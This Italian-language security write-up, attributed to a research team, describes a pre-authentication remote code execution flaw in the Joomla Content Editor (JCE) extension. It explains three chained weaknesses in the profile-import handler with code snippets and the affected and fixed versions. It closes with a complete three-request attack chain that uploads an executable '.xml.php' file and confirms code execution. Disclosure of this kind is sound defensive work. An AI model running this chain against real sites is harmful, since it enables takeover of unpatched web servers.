
Exploit proof-of-concept e analisi tecnica per CVE-2026-48907, una vulnerabilità di esecuzione remota di codice pre-autenticazione con CVSS 10.0 nell'editor di contenuti Joomla (JCE). Include una catena di attacco a 3 richieste e un'analisi dettagliata della patch.
Proof-of-concept per CVE-2026-48907 — una vulnerabilità di esecuzione remota di codice (RCE) pre-autenticazione con CVSS 10.0 nell'estensione Joomla Content Editor (JCE).
Ricerca di Grayxploit Security Team
CVE-2026-48907 è una vulnerabilità critica di esecuzione remota di codice (RCE) non autenticata che colpisce l'estensione Joomla Content Editor (JCE) — l'editor Joomla più installato — in tutte le versioni fino alla 2.9.99.4 incluse.
Concatenando tre debolezze di sicurezza indipendenti nel flusso di importazione dei profili JCE, un attaccante completamente non autenticato può:
/tmp/ del serverL'attacco richiede solo 3 richieste HTTP e funziona su qualsiasi installazione Joomla predefinita con una versione vulnerabile di JCE.
Punteggio CVSS v4: 10.0 — Critico
Scoperto e divulgato pubblicamente dal team di ricerca sulla sicurezza Grayxploit dopo una divulgazione responsabile.
| Software | Versioni vulnerabili | Versione corretta |
|---|---|---|
| Joomla Content Editor (JCE) | ≤ 2.9.99.4 | 2.9.99.6 (consigliata) |
Nota: La 2.9.99.5 ha introdotto la correzione principale. La 2.9.99.6 ha aggiunto ulteriori livelli di rafforzamento. Aggiornare alla 2.9.99.6 o successiva.
La vulnerabilità ha origine nell'endpoint di importazione dei profili JCE:
POST /index.php?option=com_jce&task=profiles.import
JCE consente agli amministratori di esportare e importare profili editor come file XML. Il gestore di importazione è raggiungibile senza autenticazione e accetta caricamenti di file arbitrari a causa di una catena di tre debolezze indipendenti.
Il controller di importazione non eseguiva alcun controllo ACL:
public function import()
{
// Only gate: CSRF token — trivially bypassable
Session::checkToken() or jexit(JText::_('JINVALID_TOKEN'));
$app = Factory::getApplication();
// … straight into file handling — no authorise() check
}
Joomla incorpora il token CSRF in ogni pagina pubblica come meta tag o variabile JS:
<meta name="csrf.token" content="abcdef1234567890abcdef1234567890" />
Un attaccante si limita a recuperare la homepage, estrae il token e lo riutilizza. Il controllo CSRF previene le richieste cross-site — non previene le richieste scriptate dirette. Non c'era alcuna chiamata a Factory::getUser() o $user->authorise(...) in nessun punto del percorso di importazione.
Il gestore di upload utilizzava File::makeSafe() che rimuove solo i caratteri illegali del filesystem — non valida né limita le estensioni dei file:
$file = $app->input->files->get('profile_file', null, 'raw');
if (!is_uploaded_file($file['tmp_name'])) { return false; }
$name = File::makeSafe($file['name']); // strips illegal chars only
$destination = $config->get('tmp_path') . '/' . $name;
$source = $file['tmp_name'];
File::upload($source, $destination, false, true);
Un nome file come shell.xml.php passa File::makeSafe() senza modifiche. mod_php di Apache lo esegue perché l'ultima estensione riconosciuta è .php. Estensioni come .php, .php5, .phtml e varianti a doppia canna erano tutte accettate.
File::upload() chiamato con $allow_unsafe = true (CWE-116)Il metodo File::upload() di Joomla ha una blacklist di estensioni incorporata che blocca i tipi di file pericolosi quando $allow_unsafe = false (il predefinito):
// Joomla File::upload() signature
File::upload($src, $dest, $use_streams = false, $allow_unsafe = false)
Il codice JCE vulnerabile disabilitava esplicitamente questa rete di sicurezza:
// VULNERABLE — unsafe uploads explicitly enabled
File::upload($source, $destination, false, true);
Questo singolo booleano disattivava l'intera blacklist di estensioni interna di Joomla, consentendo la scrittura su disco di .php, .php5, .phtml e tutte le altre estensioni eseguibili.
┌─────────────────────────────────────────────────────────────────┐
│ │
│ ① GET / │
│ ← Extract csrf_token from HTML/JS │
│ │
│ ② POST /index.php?option=com_jce&task=profiles.import │
│ Content-Type: multipart/form-data │
│ │
│ --boundary │
│ Content-Disposition: form-data; name="task" │
│ profiles.import │
│ --boundary │
│ Content-Disposition: form-data; name="<csrf_token>" │
│ 1 │
│ --boundary │
│ Content-Disposition: form-data; │
│ name="profile_file"; │
│ filename="shell-<hash>.xml.php" │
│ Content-Type: application/xml │
│ │
│ <?= 45*69 ?> │
│ --boundary-- │
│ │
│ ← 200 OK (file written to /var/www/html/tmp/) │
│ │
│ ③ GET /tmp/shell-<hash>.xml.php │
│ ← Response: "3105" (45 × 69 = RCE confirmed ✓) │
│ │
└─────────────────────────────────────────────────────────────────┘
No session cookie. No username. No password. 3 HTTP requests.